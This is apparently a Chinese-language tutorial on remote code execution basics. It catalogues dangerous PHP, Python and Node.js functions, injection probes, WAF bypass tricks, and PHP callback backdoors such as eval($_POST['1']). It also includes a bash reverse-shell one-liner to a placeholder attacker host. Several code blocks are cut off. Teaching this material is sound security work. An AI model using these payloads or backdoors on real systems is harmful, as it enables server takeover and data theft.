RCE基础
RCE 基础
**RCE(Remote Code Execution,远程代码执行)*是一种非常严重的安全漏洞,允许攻击者在目标服务器上*执行任意代码,从而获取系统控制权、窃取敏感信息、横向移动甚至完全接管服务器。
RCE 的本质
RCE 的本质是:攻击者通过构造恶意输入,使应用程序在服务器上执行了这段输入作为代码。
这通常意味着开发者把用户输入拼接进 eval、exec、system、popen、shell_exec 等危险函数中,或者调用命令行/解释器时未正确处理输入。
RCE 常见触发点
PHP 中
eval($_GET['code'])system(),exec(),passthru(),shell_exec()preg_replace('/.*/e', $user_input, '')(已废弃的/e模式)- 反序列化漏洞:
unserialize($_POST['data'])(配合魔术方法触发)
1 | <?php |
Python 中
eval(user_input)exec(user_input)os.system(user_input)subprocess.Popen(user_input, shell=True)
1 | import os |
Node.js 中
eval(req.query.input)child_process.exec(req.query.cmd)- 模板注入(e.g. EJS、Handlebars)
RCE 漏洞利用流程
信息收集
找到可疑点,例如表单、参数、上传接口等。注入测试
输入特殊字符,如; ls、&& whoami、| id,看是否有执行效果。绕过 WAF
- 编码绕过(Base64、URL 编码)
- 命令分隔符:
&,;,|,||,&& - 变量替换:
${IFS},$(), ````
命令执行
执行系统命令或反弹 shell:1
bash -i >& /dev/tcp/attacker.com/1234 0>&1
代码执行
eval
1 | eval($_POST['1']); |
eval — 把字符串作为PHP代码执行
代码不能包含打开/关闭 PHP tags。
传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾
因为是语言构造器而不是函数,不能被 可变函数 或者 命名参数 调用。
assert
1 | assert($_GET['1']) |
assert(mixed $assertion, Throwable|string|null $description = null): bool
在 PHP 8.0.0 之前,如果 assertion 是 string,将解释为 PHP 代码,并通过 eval() 执行。这个字符串将作为第三个参数传递给回调函数。这种行为在 PHP 7.2.0 中弃用,并在 PHP 8.0.0 中移除。
回调后门
call_user_func
1 | call_user_func('assert',$_GET['0']) |
call_user_func — 把第一个参数作为回调函数调用
call_user_func(callable $callback, mixed ...$args): mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
array_filter
array_filter — 使用回调函数过滤数组的元素
1 |
|
array_filter(array $array, ?callable $callback = null, int $mode = 0): array
遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true,则将 array 数组中的当前值返回到结果 array 数组中。
array_map
array_map — 为数组的每个元素应用回调函数
和array_filter同类型函数
array_map(?callable $callback, array $array, array ...$arrays): array
array_map() 返回一个 array,包含将 array 的相应值作为回调的参数顺序调用 callback 后的结果(如果提供了更多数组,还会利用 arrays 传入)。callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。多余的实参数组将会被忽略。如果提供的实参数组的数量不足,将抛出 ArgumentCountError。
uasort
uasort — 使用用户定义的比较函数对数组进行排序并保持索引关联
1 |
|
uasort(array &$array, callable $callback): true
本函数对 array 本身排序并保持索引和单元之间的关联。
主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。
array输入的数组。
callback在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。
uksort
uksort — 使用用户自定义的比较函数对数组中的键名进行排序
1 |
|
uksort(array &$array, callable $callback): true
使用用户自定义的比较函数对 array 本身进行按键(key)排序以确定顺序。
usort
usort — 使用用户自定义的比较函数对数组中的值进行排序
usort(array &$array, callable $callback): true
根据用户提供的比较函数,对 array 原地排序。
此函数为 array 中的元素赋与新的键名。这将删除原有的键名,而不是仅仅将键名重新排序。
array_reduce
array_reduce — 用回调函数迭代地将数组简化为单一的值
1 |
|
array_reduce(array $array, callable $callback, mixed $initial = null): mixed
array_reduce() 将回调函数 callback 迭代地作用到 array 数组中的每一个单元中,从而将数组简化为单一的值。
array输入的 array。
callbackcallback(mixed
$carry, mixed$item): mixedcarry携带上次迭代的返回值; 如果本次迭代是第一次,那么这个值是initial。item携带了本次迭代的值。initial如果指定了可选参数
initial,该参数将用作处理开始时的初始值,如果数组为空,则会作为最终结果返回。
array_diff ...
preg_replace
preg_replace — 执行一个正则表达式的搜索和替换
1 | function conplex($re, $str){ |
preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。
replacement 中,当使用被弃用的 /e 修饰符时, 这个函数会转义一些字符 (即:'、"、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误 (比如: 'strlen(\'$1\')+strlen("$2")')。确保符合 PHP 的 字符串语法,并且符合 eval 语法。因为在完成替换后,引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。
array_walk
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理
1 |
|
array_walk(array|object &$array, callable $callback, mixed $arg = null): true
将用户自定义函数 callback 应用到 array 数组中的每个单元。
array_walk() 不会受到 array 内部数组指针的影响。array_walk() 会遍历整个数组而不管指针的位置。
array输入的数组。
callback典型情况下
callback接受两个参数。array参数的值作为第一个,键名作为第二个。注意:如果
callback需要直接作用于数组中的值,则给callback的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。注意:参数数量超过预期,传入内置函数 (例如 strtolower()), 将抛出警告,所以不适合当做
callback。只有array的值才可以被改变,用户不应在回调函数中改变该数组本身的结构。例如增加/删除单元,unset 单元等等。如果 array_walk() 作用的数组改变了,则此函数的的行为未经定义,且不可预期。arg如果提供了可选参数
arg,将被作为第三个参数传递给callback。
命令执行
system
system — 执行外部程序,并且显示输出
system(string $command, int &$result_code = null): string|false
同 C 版本的 system() 函数一样,本函数执行 command 参数所指定的命令,并且输出执行结果。
如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存。
shell_exec
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
无回显
shell_exec(string $command): string|false|null
执行运算符
PHP 支持一个执行运算符:反引号(````)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。
1 | <?php$output = `ls -al`; |
exec
exec — 执行一个外部程序
exec(string $command, array &$output = null, int &$result_code = null): string|false
exec() 执行 command 参数所指定的命令。
passthru
passthru — 执行外部程序并且显示原始输出
passthru(string $command, int &$result_code = null): ?false
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
proc_open
proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
proc_open(
array|string $command,
array $descriptor_spec,
array &$pipes,
?string $cwd = null,
?array $env_vars = null,
?array $options = null
): resource|false
类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。
示例
1 |
|
popen
popen — 打开进程文件指针
popen(string $command, string $mode): resource|false
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
1 |
|
